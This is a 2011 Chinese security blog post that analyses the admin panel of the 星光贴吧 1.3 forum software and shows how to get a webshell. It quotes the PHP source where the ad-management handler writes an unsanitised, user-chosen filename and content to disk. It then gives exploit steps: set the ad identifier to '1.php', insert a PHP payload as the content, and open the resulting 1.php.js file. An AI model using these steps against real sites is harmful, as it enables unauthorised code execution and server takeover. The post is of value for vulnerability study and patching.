星光贴吧 1.3 后台拿SHEL
by:风之传说
今天分析了两个程序,都发了吧。。
好吧,我承认有点鸡肋。。
我们先来看看这个文件
Common/common.function.php:
function write_file($l1, $l2=''){ //写文件
$dir = dirname($l1);
if(!is_dir($dir)){
mkdirss($dir);
}
return @file_put_contents($l1, $l2);
}
function read_file($l1){
return @file_get_contents($l1);
}
// 数组保存到文件
function arr2file($filename, $arr=''){
if(is_array($arr)){
$con = var_export($arr,true);
} else{
$con = $arr;
}
$con = "<?php\nreturn $con;\n?>";//\n!defined('IN_MP') && die();\nreturn $con;\n
write_file($filename, $con);
} |
上面是定义的函数,我们主要看write_file这个函数,OK我们再来看看后台的一个文件
admin\module\extendMod.class.php:
$array=$_POST; //POST提交的数组赋值给$array
if(!empty($array['ads_name_sub'])){
if($this->model->table('ads')->where(' adsname="'.trim($_POST['ads_name_sub']).'"')->find()){
$this->error('该广告标识已经存在,请重新填写一个广告标识!');
}
$data['adsname'] = trim($array['ads_name_sub']); //文件名
$data['adscontent'] = stripslashes(trim($array['ads_content_sub'])); //内容
$this->model->table('ads')->data($data)->insert($data);
write_file(ROOT_PATH.'/data/ads/'.$data['adsname'].'.js',t2js($data['adscontent'])); //写SHELL |
进入后台,然后浏览http://localhost/admin/index.php/extend/ads.html
然后广告识别码填:1.php
广告内容填:<?phpinfo();?>
然后访问 http://127.0.0.1/data/ads/1.php.js 就可以看到我们可爱的马了。
当然1.php.js这样的解析得看环境了。所以说鸡肋,但是也是拿SHELL的一种方法。
文章作者
风之传说
上次更新
2011-11-28
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。